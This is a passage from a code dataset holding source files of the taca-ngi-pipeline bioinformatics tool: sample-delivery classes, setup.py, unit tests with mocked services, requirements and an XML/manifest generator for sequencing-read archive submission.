view[self.projectid].rows\n if len(rows) < 1:\n raise AssertionError(\"Project {} not found in StatusDB\".format(self.projectid))\n if len(rows) > 1:\n raise AssertionError('Project {} has more than one entry in orderportal_db'.format(self.projectid))\n portal_id = rows[0].value\n #now get the PI email from order portal API\n get_project_url = '{}/v1/order/{}'.format(self.orderportal.get('orderportal_api_url'), portal_id)\n headers = {'X-OrderPortal-API-key': self.orderportal.get('orderportal_api_token')}\n response = requests.get(get_project_url, headers=headers)\n if response.status_code != 200:\n raise AssertionError(\"Status code returned when trying to get PI email from project in order portal: {} was not 200. Response was: {}\".format(portal_id, response.content))\n return json.loads(response.content)\n\n\nclass GrusSampleDeliverer(SampleDeliverer):\n \"\"\"\n A class for handling sample deliveries to castor\n \"\"\"\n\n def __init__(self, projectid=None, sampleid=None, **kwargs):\n super(GrusSampleDeliverer, self).__init__(\n projectid,\n sampleid,\n **kwargs)\n\n def deliver_sample(self, sampleentry=None):\n \"\"\" Deliver a sample to the destination specified via command line of on Charon.\n Will check if the sample has already been delivered and should not\n be delivered again or if the sample is not yet ready to be delivered.\n Delivers only samples that have been staged.\n\n :params sampleentry: a database sample entry to use for delivery,\n be very careful with caching the database entries though since\n concurrent processes can update the database at any time\n :returns: True if sample was successfully delivered or was previously\n delivered, False if sample was not yet ready to be delivered\n :raises taca_ngi_pipeline.utils.database.DatabaseError: if an entry corresponding to this\n sample could not be found in the database\n :raises DelivererReplaceError: if a previous delivery of this sample\n has taken place but should be replaced\n :raises DelivererError: if the delivery failed\n \"\"\"\n # propagate raised errors upwards, they should trigger notification to operator\n # try:\n logger.info(\"Delivering {} to GRUS with MOVER\".format(str(self)))\n\n try:\n logger.info(\"Trying to deliver {} to GRUS with MOVER\".format(str(self)))\n try:\n if self.get_delivery_status(sampleentry) != 'STAGED':\n logger.info(\"{} has not been staged and will not be delivered\".format(str(self)))\n return False\n except DatabaseError as e:\n logger.error(\"error '{}' occurred during delivery of {}\".format(str(e), str(self)))\n logger.exception(e)\n raise(e)\n #at this point copywith deferance the softlink folder\n self.update_delivery_status(status=\"IN_PROGRESS\")\n self.do_delivery()\n #in case of failure put again the status to STAGED\n except DelivererInterruptedError as e:\n self.update_delivery_status(status=\"STAGED\")\n logger.exception(e)\n raise(e)\n except Exception as e:\n self.update_delivery_status(status=\"STAGED\")\n logger.exception(e)\n raise(e)\n\n def save_delivery_token_in_charon(self, delivery_token):\n '''Updates delivery_token in Charon at sample level\n '''\n charon_session = CharonSession()\n charon_session.sample_update(self.projectid, self.sampleid, delivery_token=delivery_token)\n\n def add_supr_name_delivery_in_charon(self, supr_name_of_delivery):\n '''Updates delivery_projects in Charon at project level\n '''\n charon_session = CharonSession()\n try:\n #fetch the project\n sample_charon = charon_session.sample_get(self.projectid, self.sampleid)\n delivery_projects = sample_charon['delivery_projects']\n if supr_name_of_delivery not in sample_charon:\n delivery_projects.append(supr_name_of_delivery)\n charon_session.sample_update(self.projectid, self.sampleid, delivery_projects=delivery_projects)\n logger.info('Charon delivery_projects for sample {} updated with value {}'.format(self.sampleid, supr_name_of_delivery))\n else:\n logger.warn('Charon delivery_projects for sample {} not updated with value {} because the value was already present'.format(self.sampleid, supr_name_of_delivery))\n except Exception as e:\n logger.error('Failed to update delivery_projects in charon while delivering {}. Error says: {}'.format(self.sampleid, e))\n logger.exception(e)\n\n def do_delivery(self):\n \"\"\" Creating a hard copy of staged data\n \"\"\"\n logger.info(\"Creating hard copy of sample {}\".format(self.sampleid))\n # join stage dir with sample dir\n source_dir = os.path.join(self.expand_path(self.stagingpath), self.sampleid)\n destination_dir = os.path.join(self.expand_path(self.stagingpathhard), self.sampleid)\n # destination must NOT exist\n do_copy(source_dir, destination_dir)\n #now copy md5 and other files\n for file in glob.glob(\"{}.*\".format(source_dir)):\n shutil.copy(file, self.expand_path(self.stagingpathhard))\n logger.info(\"Sample {} has been hard staged to {}\".format(self.sampleid, destination_dir))\n return\n" }, { "alpha_fraction": 0.6089702844619751, "alphanum_fraction": 0.6089702844619751, "avg_line_length": 33.41304397583008, "blob_id": "6390390589d8ac6539748f5728ebdb77aa313c7a", "content_id": "dfe08213760cff0e87b8ce5ebda1483ca8a26f29", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1583, "license_type": "permissive", "max_line_length": 94, "num_lines": 46, "path": "/setup.py", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "import glob\n\nfrom setuptools import setup, find_packages\n\nfrom taca_ngi_pipeline import __version__\nfrom io import open\n\ntry:\n with open(\"requirements.txt\", \"r\") as f:\n install_requires = [x.strip() for x in f.readlines()]\nexcept IOError:\n install_requires = []\n\ntry:\n with open(\"dependency_links.txt\", \"r\") as f:\n dependency_links = [x.strip() for x in f.readlines()]\nexcept IOError:\n dependency_links = []\n\nsetup(name='taca-ngi-pipeline',\n version=__version__,\n description='Plugin for the TACA tool, bringing functionality for the '\n 'ngi_pipeline to the table',\n long_description='This package is a plugin that adds a set of subcommands '\n 'to the TACA tool. The subcommands are useful when interacting with '\n 'the ngi_pipeline. The TACA tool and the ngi_pipeline are used in the '\n 'day-to-day tasks of bioinformaticians in National Genomics '\n 'Infrastructure in Sweden.',\n keywords='bioinformatics',\n author='Guillermo Carrasco, Pontus Larsson',\n author_email='[email protected]',\n url='http://taca.readthedocs.org/en/latest/',\n license='MIT',\n packages=find_packages(exclude=['ez_setup', 'examples', 'tests']),\n scripts=glob.glob('scripts/*.py'),\n include_package_data=True,\n zip_safe=False,\n\n entry_points={\n 'taca.subcommands': [\n 'deliver = taca_ngi_pipeline.cli:deliver',\n ]\n },\n install_requires=install_requires,\n dependency_links=dependency_links\n )\n" }, { "alpha_fraction": 0.5967935919761658, "alphanum_fraction": 0.6088026762008667, "avg_line_length": 48.71343231201172, "blob_id": "7be24eccc378db8773580138b759970b0b2c0a58", "content_id": "7f5a2a5c5b3e4d30e5a46c435087a754c0b6c5bc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16654, "license_type": "permissive", "max_line_length": 129, "num_lines": 335, "path": "/tests/deliver/test_deliver_grus.py", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "import unittest\nimport shutil\nimport tempfile\nimport datetime\nimport json\nimport os\nfrom mock import patch, call\nfrom dateutil.relativedelta import relativedelta\n\nfrom taca_ngi_pipeline.deliver.deliver_grus import GrusProjectDeliverer, GrusSampleDeliverer, proceed_or_not, check_mover_version\n\nSAMPLECFG = {\n 'deliver': {\n 'analysispath': '<ROOTDIR>/ANALYSIS',\n 'datapath': '<ROOTDIR>/DATA',\n 'stagingpath': '<ROOTDIR>/STAGING',\n 'stagingpathhard': '<ROOTDIR>/STAGING_HARD',\n 'deliverypath': '<ROOTDIR>/DELIVERY_DESTINATION',\n 'operator': '[email protected]',\n 'logpath': '<ROOTDIR>/ANALYSIS/logs',\n 'reportpath': '<ANALYSISPATH>',\n 'copy_reports_to_reports_outbox': 'True',\n 'reports_outbox': '/test/this/path',\n 'deliverystatuspath': '<ANALYSISPATH>',\n 'report_aggregate': 'ngi_reports ign_aggregate_report -n uppsala',\n 'report_sample': 'ngi_reports ign_sample_report -n uppsala',\n 'hash_algorithm': 'md5',\n 'save_meta_info': 'True',\n 'files_to_deliver': [\n ['<ANALYSISPATH>/level0_folder?_file*',\n '<STAGINGPATH>']]\n },\n 'snic': {\n 'snic_api_url': 'url',\n 'snic_api_user': 'usr',\n 'snic_api_password': 'pwd'\n },\n 'statusdb': {\n 'url': 'sdb_url',\n 'username': 'sdb_usr',\n 'password': 'sdb_pwd'\n }\n }\n\nclass TestMisc(unittest.TestCase):\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.input')\n def test_proceed_or_not(self, mock_input):\n mock_input.return_value = 'y'\n self.assertTrue(proceed_or_not('Q'))\n\n mock_input.return_value = 'no'\n self.assertFalse(proceed_or_not('Q'))\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.subprocess.check_output')\n def test_check_mover_version(self, mock_output):\n # No pattern match\n mock_output.return_value = 'no match'\n self.assertFalse(check_mover_version())\n\n # Match but wrong version\n mock_output.return_value = '/usr/local/mover/1.0.0/moverinfo version 0.9.0 calling Getopt::Std::getopts (version 1.07),'\n self.assertFalse(check_mover_version())\n\n # Match to right version\n mock_output.return_value = '/usr/local/mover/1.0.0/moverinfo version 1.0.0 calling Getopt::Std::getopts (version 1.07),'\n self.assertTrue(check_mover_version())\n\n\nclass TestGrusProjectDeliverer(unittest.TestCase):\n\n @classmethod\n @patch.dict('taca_ngi_pipeline.deliver.deliver_grus.CONFIG', SAMPLECFG)\n def setUpClass(self):\n db_entry = {'name': 'S.One_20_01',\n 'uppnex_id': 'a2099999',\n 'delivery_token': 'atoken'}\n with patch('taca_ngi_pipeline.utils.database.project_entry',\n return_value=db_entry) as dbmock:\n self.tmp_dir = tempfile.mkdtemp()\n self.pid = 'P12345'\n self.deliverer = GrusProjectDeliverer(projectid=self.pid,\n fcid='FC1',\n **SAMPLECFG['deliver'])\n self.deliverer.pi_email = '[email protected]'\n self.deliverer.rootdir = self.tmp_dir\n\n @classmethod\n def tearDownClass(self):\n shutil.rmtree(self.tmp_dir)\n\n def test_get_delivery_status(self):\n dbentry_in_progress = {'delivery_token': 'token'}\n got_status_in_progress = self.deliverer.get_delivery_status(dbentry=dbentry_in_progress)\n self.assertEqual(got_status_in_progress, 'IN_PROGRESS')\n\n dbentry_delivered = {'delivery_token': 'NO-TOKEN',\n 'delivery_status': 'DELIVERED'}\n got_status_delivered = self.deliverer.get_delivery_status(dbentry=dbentry_delivered)\n self.assertEqual(got_status_delivered, 'DELIVERED')\n\n dbentry_partial = {'delivery_projects': 'delivery0123'}\n got_status_partial = self.deliverer.get_delivery_status(dbentry=dbentry_partial)\n self.assertEqual(got_status_partial, 'PARTIAL')\n\n dbentry_not_delivered = {'delivery_token': 'not_under_delivery'}\n got_status_not_delivered = self.deliverer.get_delivery_status(dbentry=dbentry_not_delivered)\n self.assertEqual(got_status_not_delivered, 'NOT_DELIVERED')\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.check_mover_version')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer.get_delivery_status')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.subprocess.check_output')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.time.sleep')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer.get_samples_from_charon')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusSampleDeliverer')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer.delete_delivery_token_in_charon')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer.update_delivery_status')\n def test_check_mover_delivery_status(self,\n mock_update_delivery,\n mock_update_charon,\n mock_sample_deliverer,\n mock_samples,\n mock_sleep,\n mock_check_output,\n mock_status,\n mock_version):\n mock_status.return_value = 'IN_PROGRESS'\n mock_check_output.side_effect = ['Accepted:', 'Delivered:']\n mock_samples.return_value = ['P12345_1001']\n mock_sample_deliverer().get_delivery_status.return_value = 'DELIVERED'\n\n db_entry = {'name': 'S.One_20_01',\n 'uppnex_id': 'a2099999',\n 'delivery_token': 'atoken'}\n with patch('taca_ngi_pipeline.utils.database.project_entry',\n return_value=db_entry) as dbmock:\n self.deliverer.check_mover_delivery_status()\n mock_update_delivery.assert_called_once_with(status='DELIVERED')\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.check_mover_version')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer.get_delivery_status')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.proceed_or_not')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer.get_samples_from_charon')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusSampleDeliverer')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer._create_delivery_project')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer.do_delivery')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer.save_delivery_token_in_charon')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer.add_supr_name_delivery_in_charon')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer.add_supr_name_delivery_in_statusdb')\n def test_deliver_project(self,\n mock_statusdb_name,\n mock_charon_name,\n mock_charon_token,\n mock_deliver,\n mock_create_project,\n mock_sample_deliverer,\n mock_samples,\n mock_query,\n mock_status,\n mock_check_mover):\n mock_status.return_value = 'NOT_DELIVERED'\n mock_query.return_value = True\n mock_samples.return_value = ['S1']\n mock_create_project.return_value = {'name': 'delivery123'}\n mock_deliver.return_value = 'token123'\n\n os.makedirs(os.path.join(self.tmp_dir, 'STAGING'))\n open(os.path.join(self.tmp_dir, 'STAGING', 'misc_file.txt'), 'w').close()\n\n delivered = self.deliverer.deliver_project()\n self.assertTrue(delivered)\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.proceed_or_not')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.shutil')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer._create_delivery_project')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer.do_delivery')\n def test_deliver_run_folder(self, mock_deliver, mock_create_project, mock_shutil, mock_query):\n mock_query.return_value = True\n mock_create_project.return_value = {'name': 'delivery123'}\n mock_deliver.return_value = 'token123'\n got_status = self.deliverer.deliver_run_folder()\n self.assertTrue(got_status)\n mock_deliver.assert_called_once_with('delivery123')\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.CharonSession')\n def test_add_supr_name_delivery_in_charon(self, mock_charon):\n mock_charon().project_get.return_value = {'delivery_projects': ['delivery123']}\n self.deliverer.add_supr_name_delivery_in_charon('delivery456')\n mock_charon().project_update.assert_called_once_with(self.pid,\n delivery_projects=['delivery123',\n 'delivery456'])\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.ProjectSummaryConnection')\n def test_add_supr_name_delivery_in_statusdb(self, mock_project_summary):\n mock_project_summary().get_entry.return_value = {'delivery_projects': ['delivery123']}\n self.deliverer.add_supr_name_delivery_in_statusdb('delivery456')\n mock_project_summary().save_db_doc.assert_called_once_with(\n {'delivery_projects':\n ['delivery123', 'delivery456']\n }\n )\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer.expand_path')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.os.chown')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.subprocess')\n def test_do_delivery(self, mock_subprocess, mock_chown, mock_path):\n mock_path.return_value = self.tmp_dir\n mock_subprocess.check_output.return_value = 'deliverytoken'\n got_token = self.deliverer.do_delivery('supr_delivery')\n self.assertEqual(got_token, 'deliverytoken')\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.CharonSession')\n def test_get_samples_from_charon(self, mock_charon):\n mock_charon().project_get_samples.return_value = {\n 'samples':\n [{'sampleid': 'S1',\n 'delivery_status': 'STAGED'},\n {'sampleid': 'S2',\n 'delivery_status': 'DELIVERED'}]\n }\n got_samples = self.deliverer.get_samples_from_charon(delivery_status='STAGED')\n expected_samples = ['S1']\n self.assertEqual(got_samples, expected_samples)\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.requests')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.datetime')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.json.loads')\n def test__create_delivery_project(self, mock_json_load, mock_datetime, mock_requests):\n self.deliverer.pi_snic_id = '123'\n self.deliverer.other_member_snic_ids = []\n supr_date_format = '%Y-%m-%d'\n today = datetime.date.today()\n three_months_from_now = (today + relativedelta(months=+3))\n mock_datetime.date.today.return_value = today\n data = {\n 'ngi_project_name': 'P12345',\n 'title': \"DELIVERY_P12345_{}\".format(today.strftime(supr_date_format)),\n 'pi_id': '123',\n 'start_date': today.strftime(supr_date_format),\n 'end_date': three_months_from_now.strftime(supr_date_format),\n 'continuation_name': '',\n 'api_opaque_data': '',\n 'ngi_ready': False,\n 'ngi_delivery_status': '',\n 'ngi_sensitive_data': True,\n 'member_ids': []\n }\n mock_requests.post().status_code = 200\n got_result = self.deliverer._create_delivery_project()\n calls = [call(),\n call('url/ngi_delivery/project/create/',\n data=json.dumps(data),\n auth=('usr', 'pwd'))]\n mock_requests.post.assert_has_calls(calls)\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer._get_order_detail')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer._get_user_snic_id')\n def test__set_pi_details(self, mock_id, mock_detail):\n mock_detail.return_value = {'fields': {'project_pi_email': '[email protected]'}}\n mock_id.return_value = '123'\n self.deliverer._set_pi_details()\n self.assertEqual(self.deliverer.pi_email, '[email protected]')\n self.assertEqual(self.deliverer.pi_snic_id, '123')\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer._get_order_detail')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusProjectDeliverer._get_user_snic_id')\n def test__set_other_member_details(self, mock_snic_id, mock_get_details):\n mock_get_details.return_value = {'owner': {'email': '[email protected]'},\n 'fields': {'project_bx_email': '[email protected]'}}\n mock_snic_id.side_effect = ['id1', 'id2', 'id3']\n emails = ['[email protected]']\n self.deliverer._set_other_member_details(other_member_emails=emails, include_owner=True)\n got_details = self.deliverer.other_member_snic_ids\n expected_details = ['id1', 'id2', 'id3']\n self.assertEqual(got_details, expected_details)\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.requests.get')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.json.loads')\n def test__get_user_snic_id(self, mock_json, mock_requests):\n mock_requests().status_code = 200\n mock_json.return_value = {'matches': [{'id': '123'}]}\n got_user_id = self.deliverer._get_user_snic_id('[email protected]')\n self.assertEqual(got_user_id, '123')\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.StatusdbSession')\n def test__get_order_detail(self, mock_statusdb):\n with self.assertRaises(AssertionError):\n got_details = self.deliverer._get_order_detail()\n\n\nclass TestGrusSampleDeliverer(unittest.TestCase):\n\n @classmethod\n def setUpClass(self):\n db_entry = {'name': 'S.One_20_01',\n 'uppnex_id': 'a2099999',\n 'delivery_token': 'atoken'}\n with patch('taca_ngi_pipeline.utils.database.project_entry',\n return_value=db_entry) as dbmock:\n self.tmp_dir = tempfile.mkdtemp()\n self.pid = 'P12345'\n self.sid = 'P12345_1001'\n self.deliverer = GrusSampleDeliverer(projectid=self.pid,\n sampleid=self.sid,\n **SAMPLECFG['deliver'])\n self.deliverer.rootdir = self.tmp_dir\n\n @classmethod\n def tearDownClass(self):\n shutil.rmtree(self.tmp_dir)\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusSampleDeliverer.get_delivery_status')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusSampleDeliverer.update_delivery_status')\n @patch('taca_ngi_pipeline.deliver.deliver_grus.GrusSampleDeliverer.do_delivery')\n def test_deliver_sample(self, mock_deliver, mock_update, mock_status):\n mock_status.return_value = 'STAGED'\n self.deliverer.deliver_sample()\n mock_update.assert_called_once_with(status='IN_PROGRESS')\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.CharonSession')\n def test_add_supr_name_delivery_in_charon(self, mock_charon):\n mock_charon().sample_get.return_value = {'delivery_projects': ['delivery123']}\n self.deliverer.add_supr_name_delivery_in_charon('delivery456')\n mock_charon().sample_update.assert_called_once_with(self.pid,\n self.sid,\n delivery_projects=['delivery123',\n 'delivery456'])\n\n @patch('taca_ngi_pipeline.deliver.deliver_grus.shutil.copy')\n def test_do_delivery(self, mock_copy):\n os.makedirs(os.path.join(self.tmp_dir, 'STAGING', self.sid))\n open(os.path.join(self.tmp_dir, 'STAGING', 'P12345_1001.txt'), 'w').close()\n self.deliverer.do_delivery()\n mock_copy.assert_called_once_with(os.path.join(self.tmp_dir, 'STAGING', 'P12345_1001.txt'),\n os.path.join(self.tmp_dir, 'STAGING_HARD'))\n" }, { "alpha_fraction": 0.6449275612831116, "alphanum_fraction": 0.760869562625885, "avg_line_length": 11.545454978942871, "blob_id": "e1c52c85040e126f74d84de79f94ba8c6555fcc6", "content_id": "930ebc81a231ffb88aaa8ca97618fe51a7d80b6d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 138, "license_type": "permissive", "max_line_length": 16, "num_lines": 11, "path": "/requirements.txt", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "decorator<=4.4.2\nclick\ntraitlets==4.3.3\nbcrypt==3.1.7\nrequests\npyyaml\nngi_pipeline\npython-dateutil\npyexcel==0.5.15\nopenpyxl==2.6.1\nfuture\n" }, { "alpha_fraction": 0.5540375113487244, "alphanum_fraction": 0.5569943189620972, "avg_line_length": 58.0843391418457, "blob_id": "78f894645f396d0d527a472111db30d6a0da0eae", "content_id": "c330fa31f9fdef045940ccda5b0e14b9d8a9dc58", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 19616, "license_type": "permissive", "max_line_length": 177, "num_lines": 332, "path": "/taca_ngi_pipeline/utils/nbis_xml_generator.py", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport argparse\nimport couchdb\nimport os\nimport re\nimport logging\nimport six\n\nfrom collections import defaultdict\nfrom io import open\n\n\nclass xml_generator(object):\n \"\"\"\n A class with class methods to generate run/experiment XML files\n which user can submit to reads archive with the help of NBIS\n \"\"\"\n def __init__(self, project, outdir=os.getcwd(), ignore_lib_prep=False, flowcells=None, LOG=None, pcon=None, fcon=None, xcon=None):\n \"\"\" Instantiate required objtects\"\"\"\n self.LOG = LOG\n try:\n self.pcon = pcon\n assert self.pcon, \"Could not connect to {} database in StatusDB\".format(\"project\")\n self.fcon = fcon\n assert self.fcon, \"Could not connect to {} database in StatusDB\".format(\"flowcell\")\n self.xcon = xcon\n assert self.xcon, \"Could not connect to {} database in StatusDB\".format(\"x_flowcells\")\n self._check_and_load_project(project)\n assert isinstance(self.project, couchdb.client.Document), \"Could not get proper project document for {} from StatusDB\".format(project['project_id'])\n self.samples_delivered = self.project.get('staged_files', {})\n assert self.samples_delivered, \"No delivered samples for project {}, cannot generate XML files\".format(project['project_id'])\n self._check_and_load_flowcells(flowcells)\n assert isinstance(self.flowcells, dict), \"Could not get the flowcell for project {} from StatusDB\".format(project['project_id'])\n except AssertionError as e:\n self.LOG.error(e)\n raise e\n self.outdir = self._check_and_load_outdir(outdir)\n self._set_project_design()\n self._check_and_load_lib_preps(ignore_lib_prep)\n self._stats_from_flowcells()\n\n\n def generate_xml_and_manifest(self, return_string_dict=False):\n \"\"\" Generate experiment/run xml file from the string template \"\"\"\n experiment_xml_string, run_xml_string = (\"\", \"\")\n for sample_stat in self._collect_sample_stats():\n # fill in to experiment values from collected stat\n experiment_xml_string += ('\\t<EXPERIMENT alias=\"{alias}\" center_name=\"\">\\n'\n '\\t\\t<TITLE>{title}</TITLE>\\n'\n '\\t\\t<STUDY_REF refname=\"{study}\"/>\\n'\n '\\t\\t<DESIGN>\\n'\n '\\t\\t\\t<DESIGN_DESCRIPTION> {design} </DESIGN_DESCRIPTION>\\n'\n '\\t\\t\\t<SAMPLE_DESCRIPTOR refname=\"{discriptor}\"/>\\n'\n '\\t\\t\\t<LIBRARY_DESCRIPTOR>\\n'\n '\\t\\t\\t\\t<LIBRARY_NAME>{library}_lib</LIBRARY_NAME>\\n'\n '\\t\\t\\t\\t<LIBRARY_STRATEGY>{strategy}</LIBRARY_STRATEGY>\\n'\n '\\t\\t\\t\\t<LIBRARY_SOURCE>{source}</LIBRARY_SOURCE>\\n'\n '\\t\\t\\t\\t<LIBRARY_SELECTION>{selection}</LIBRARY_SELECTION>\\n'\n '\\t\\t\\t\\t<LIBRARY_LAYOUT>{layout}</LIBRARY_LAYOUT>\\n'\n '\\t\\t\\t\\t<LIBRARY_CONSTRUCTION_PROTOCOL>{protocol}</LIBRARY_CONSTRUCTION_PROTOCOL>\\n'\n '\\t\\t\\t</LIBRARY_DESCRIPTOR>\\n'\n '\\t\\t</DESIGN>\\n'\n '\\t\\t<PLATFORM>\\n'\n '\\t\\t\\t<ILLUMINA>\\n'\n '\\t\\t\\t\\t<INSTRUMENT_MODEL>{instrument}</INSTRUMENT_MODEL>\\n'\n '\\t\\t\\t</ILLUMINA>\\n'\n '\\t\\t</PLATFORM>\\n'\n '\\t\\t<PROCESSING/>\\n'\n '\\t</EXPERIMENT>\\n').format(**sample_stat['experiment'])\n # fill in to run values from collected stat\n run_xml_string += ('\\t<RUN alias=\"{alias}\" run_center=\"National Genomics Infrastructure, Stockholm\" center_name=\"\">\\n'\n '\\t\\t<EXPERIMENT_REF refname=\"{exp_ref}\"/>\\n'\n '\\t\\t<DATA_BLOCK>\\n'\n '\\t\\t\\t<FILES>\\n'\n '{files}'\n '\\t\\t\\t</FILES>\\n'\n '\\t\\t</DATA_BLOCK>\\n'\n '\\t</RUN>\\n').format(**sample_stat['run'])\n #create manifest files for sample_entry\n self._generate_manifest_file(sample_stat['experiment'])\n # wrap in final xml string tags\n experiment_set = (u'<EXPERIMENT_SET xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" '\n 'xsi:noNamespaceSchemaLocation=\"ftp://ftp.sra.ebi.ac.uk/meta/xsd/sra_1_5/SRA.experiment.xsd\">'\n '\\n{}\\n</EXPERIMENT_SET>\\n').format(experiment_xml_string)\n run_set = (u'<RUN_SET xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" '\n 'xsi:noNamespaceSchemaLocation=\"ftp://ftp.sra.ebi.ac.uk/meta/xsd/sra_1_5/SRA.run.xsd\">'\n '\\n{}\\n</RUN_SET>\\n').format(run_xml_string)\n # dont save in file if asked to return as string\n if return_string_dict:\n return {'experiments': experiment_set, 'runs': run_set}\n # save in files in given outdir\n with open(os.path.join(self.outdir, \"{}_experiments.xml\".format(self.project['project_id'])), 'w') as exml, \\\n open(os.path.join(self.outdir, \"{}_runs.xml\".format(self.project['project_id'])), 'w') as rxml:\n exml.write(experiment_set)\n rxml.write(run_set)\n\n def _generate_manifest_file(self, exp_details):\n fcontents = (u'STUDY\\t{}\\n').format(exp_details['study'])\n fcontents += ('SAMPLE\\t{}\\n').format(exp_details['discriptor'])\n fcontents += ('NAME\\t{}\\n').format(exp_details['alias'])\n fcontents += ('INSTRUMENT\\t{}\\n').format(exp_details['instrument'])\n fcontents += ('LIBRARY_SOURCE\\t{}\\n').format(exp_details['source'])\n fcontents += ('LIBRARY_SELECTION\\t{}\\n').format(exp_details['selection'])\n fcontents += ('LIBRARY_STRATEGY\\t{}\\n').format(exp_details['strategy'])\n fasta_file_names = list(self.samples_delivered[exp_details['discriptor']].keys())\n fasta_r1_files = [ i for i in fasta_file_names if '_R1_' in i]\n fasta_r2_files = [ i for i in fasta_file_names if '_R2_' in i]\n manifestdirPath = os.path.join(self.outdir, \"manifestFiles\")\n if not os.path.exists(manifestdirPath):\n os.mkdir(manifestdirPath)\n for f in fasta_r1_files:\n fname = f.split('_R1')[0]\n fcontents += ('FASTQ\\t{}\\n').format(f)\n if exp_details['layout'] == '<PAIRED></PAIRED>':\n fcontents += ('FASTQ\\t{}\\n').format(next(s for s in fasta_r2_files if fname in s))\n with open(\"{}/{}_manifest.txt\".format(manifestdirPath, fname.replace('/', '.')), 'w') as manfile:\n manfile.write(fcontents)\n\n def _collect_sample_stats(self):\n \"\"\" Collect stats that will be used to generate the xml files \"\"\"\n for sample in sorted(self.samples_delivered.keys()):\n # all the samples should exist, if not fail right away\n sample_seq_instrument = self.sample_aggregated_stat[sample]\n for instrument in sorted(sample_seq_instrument.keys()):\n inst_stat = sample_seq_instrument[instrument]\n experiment = { 'alias' : \"{}_{}_experiment\".format(sample, instrument),\n 'title' : \"Prep for {} sequenced in {}\".format(sample, inst_stat['xml_text']),\n 'study' : self.project[\"project_id\"],\n 'design' : self.project_design[\"design\"].format(instrument=inst_stat['xml_text']),\n 'discriptor' : sample,\n 'library' : \"{}_prep\".format(sample),\n 'strategy' : self.project_design[\"strategy\"],\n 'source' : self.project_design[\"source\"],\n 'selection' : self.project_design[\"selection\"],\n 'layout' : self.project_design[\"layout\"],\n 'protocol' : self.project_design[\"protocol\"],\n 'instrument' : inst_stat['xml_text'] }\n run = { 'alias' : \"{}_{}_runs\".format(sample, instrument),\n 'exp_ref' : experiment['alias'],\n 'data_name' : sample,\n 'files' : self._generate_files_block(self.samples_delivered[sample], flowcells=inst_stat['runs']) }\n yield { 'experiment': experiment, 'run': run }\n\n\n def _stats_from_flowcells(self):\n \"\"\" Go through the flowcells and collect needed informations \"\"\"\n self.sample_aggregated_stat = defaultdict(dict)\n # try to get instrument type and samples sequenced\n for fc, fc_info in six.iteritems(self.flowcells):\n fc_obj = self.xcon.get_entry(fc_info['run_name']) if fc_info['db'] == 'x_flowcells' else self.fcon.get_entry(fc_info['run_name'])\n if not fc_obj:\n self.LOG.warn(\"Could not fetch flowcell {} from {} db, will remove it from list\".format(fc_info['run_name'], fc_info['db']))\n continue\n # get instrument type from runid, it should fail if 'Id' not exist in document\n full_run_id = fc_obj.get('RunInfo', {})['Id']\n if \"_ST-\" in full_run_id:\n fc_info[\"instrument\"] = \"HiSeq X Ten\"\n elif \"_M0\" in full_run_id:\n fc_info[\"instrument\"] = \"Illumina MiSeq\"\n 